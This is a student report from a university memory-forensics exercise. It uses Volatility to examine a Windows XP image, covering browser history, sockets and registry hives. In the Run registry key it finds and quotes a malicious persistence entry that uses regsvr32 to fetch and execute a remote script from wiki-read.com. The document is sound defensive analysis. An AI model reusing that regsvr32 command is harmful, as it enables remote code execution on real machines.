Universidad Carlos III de Madrid

Report for Memory Analysis - Atenea

Juan Diego Llano Miraval

Fecha: 18/05/2024

procedure

The first step is to check the profile of the image with volatility:

```
root@z:/home/zud/Desktop/atenea# volatility -f atenea.img imageinfo
Volatility Foundation Volatility Framework 2.6.1
*** Failed to import volatility.plugins.addrspaces.ieee1394 (AttributeError: /usr/local/lib/libforensic1394.so.2: undefined symbol: forensic1394_get_device_nodeid)
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
```

while checking the process, the connections, and the sockets, I found on the iehistory:

```
root@z:/home/zud/Desktop/atenea# volatility -f atenea.img --profile=WinXPSP2x86 iehistory
Volatility Foundation Volatility Framework 2.6.1
*** Failed to import volatility.plugins.addrspaces.ieee1394 (AttributeError: /usr/local/lib/libforensic1394.so.2: undefined symbol: forensic1394_get_device_nodei
**************************************************
Process: 1868 explorer.exe
Cache type "URL " at 0x2005000
Record length: 0x100
Location: Visited: Administrador@msni://install.mar@/xgl_engine.htm
Last modified: 2018-10-20 23:47:33 UTC+0000
Last accessed: 2018-10-20 23:47:33 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0xa4
**************************************************
Process: 1868 explorer.exe
Cache type "URL " at 0x2005100
Record length: 0x100
Location: Visited: Administrador@res://ieframe.dll/tabswelcome.htm
Last modified: 2018-10-20 23:47:36 UTC+0000
Last accessed: 2018-10-20 23:47:36 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0xa4
**************************************************
Process: 1868 explorer.exe
Cache type "URL " at 0x2005200
Record length: 0x100
Location: Visited: Administrador@res://ieframe.dll/tabswelcome.htm
Last modified: 2018-10-20 23:52:21 UTC+0000
Last accessed: 2018-10-20 23:52:21 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0xa4
**************************************************
```

here we can see Location: Visited: Administrador@msni://install.mar@/xgl_engine.htm and Location: Visited: Administrador@res://ieframe.dll/tabswelcome.htm

and the IP that is in the sockets:

```
root@z:/home/zud/Desktop/atenea# volatility -f atenea.img --profile=WinXPSP2x86 sockets
Volatility Foundation Volatility Framework 2.6.1
*** Failed to import volatility.plugins.addrspaces.ieee1394 (AttributeError: /usr/local/lib/lib
Offset(V)       PID   Port  Proto Protocol        Address         Create Time
---------- -------- ------ ------ -------------- --------------- -----------
0x80efe618        4    138     17 UDP            169.254.240.50  2018-10-20 23:46:20 UTC+0000
0xff93b508        4      0     47 GRE            0.0.0.0         2018-10-20 23:46:35 UTC+0000
0x80da0b98      672    500     17 UDP            0.0.0.0         2018-10-20 23:46:29 UTC+0000
0x80e3f2c8     1052   1025     17 UDP            127.0.0.1       2018-10-20 23:46:29 UTC+0000
0x80e44cb0     1052    123     17 UDP            169.254.240.50  2018-10-20 23:46:34 UTC+0000
0xff8b0430     2256   1033     17 UDP            127.0.0.1       2018-10-20 23:47:34 UTC+0000
0xffbb6e98        4    445      6 TCP            0.0.0.0         2018-10-20 22:45:17 UTC+0000
0xffb6fe98      960    135      6 TCP            0.0.0.0         2018-10-20 23:45:19 UTC+0000
0xff939360        4   1027      6 TCP            0.0.0.0         2018-10-20 23:46:35 UTC+0000
0x80df97e8      672      0    255 Reserved       0.0.0.0         2018-10-20 23:46:29 UTC+0000
0xff960320     1052    123     17 UDP            127.0.0.1       2018-10-20 23:46:34 UTC+0000
0xff93ea18     1192   1900     17 UDP            169.254.240.50  2018-10-20 23:46:35 UTC+0000
0xffbcfa78        4    139      6 TCP            169.254.240.50  2018-10-20 23:46:20 UTC+0000
0x80d3f748     1624   1031     17 UDP            127.0.0.1       2018-10-20 23:47:13 UTC+0000
0x80d806a8     1052     68     17 UDP            0.0.0.0         2018-10-20 23:52:45 UTC+0000
0xff949878      248   1026      6 TCP            127.0.0.1       2018-10-20 23:46:34 UTC+0000
0xff83d9d0     3728   1035     17 UDP            127.0.0.1       2018-10-20 23:52:15 UTC+0000
0xffb91e98        4    137     17 UDP            169.254.240.50  2018-10-20 23:46:20 UTC+0000
0xff93eca0     1192   1900     17 UDP            127.0.0.1       2018-10-20 23:46:35 UTC+0000
0xff9b8d70      672   4500     17 UDP            0.0.0.0         2018-10-20 23:46:29 UTC+0000
0xffb7cd00        4    445     17 UDP            0.0.0.0         2018-10-20 22:45:17 UTC+0000
```

we also check the Microsoft\Windows\CurrentVersion\Run registry, first we locate the software hive:

```
root@z:/home/zud/Desktop/atenea# volatility -f atenea.img --profile=WinXPSP2x86 hi
Volatility Foundation Volatility Framework 2.6.1
*** Failed to import volatility.plugins.addrspaces.ieee1394 (AttributeError: /usr/
Virtual    Physical   Name
---------- ---------- ----
0xe1980008 0x09e67008 \Device\HarddiskVolume1\Documents and Settings\Administrador
0xe195f8d0 0x09b8c8d0 \Device\HarddiskVolume1\Documents and Settings\Administrador
0xe17dd888 0x0817a888 \Device\HarddiskVolume1\Documents and Settings\LocalService\
0xe182f718 0x081d9718 \Device\HarddiskVolume1\Documents and Settings\LocalService\
0xe163dad8 0x07944ad8 \Device\HarddiskVolume1\Documents and Settings\NetworkServic
0xe1636008 0x07976008 \Device\HarddiskVolume1\Documents and Settings\NetworkServic
0xe1386008 0x05b32008 \Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe1386b60 0x05b32b60 \Device\HarddiskVolume1\WINDOWS\system32\config\default
0xe13866b8 0x05b326b8 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe1382518 0x05b20518 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
0xe1297008 0x01a41008 [no name]
0xe10181f0 0x018c01f0 \Device\HarddiskVolume1\WINDOWS\system32\config\system
0xe1007290 0x01840290 [no name]
```

from the address of the software hive, we use it as offset to get the key:

```
root@z:/home/zud/Desktop/atenea# volatility -f atenea.img --profile=WinXPSP2x86 printkey -o 0xe1386008 -K "Microsoft\Windows\CurrentVersion\Run"
Volatility Foundation Volatility Framework 2.6.1
*** Failed to import volatility.plugins.addrspaces.ieee1394 (AttributeError: /usr/local/lib/libforensic1394.so.2: undefined symbol: forensic1394_get_device_nodeid)
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software
Key name: Run (S)
Last updated: 2018-10-20 23:49:19 UTC+0000

Subkeys:

Values:
REG_SZ        VBoxTray        : (S) C:\WINDOWS\system32\VBoxTray.exe
REG_SZ        start           : (S) regsvr32 /u /s /i:http://wiki-read.com/info.txt scrobj.dll
```

From here we can see `regsvr32 /u /s /i:http://wiki-read.com/info.txt scrobj.dll` the use of regsvr32 to execute code from an url is a known technique from malicious actors. This is the domain we were

looking for.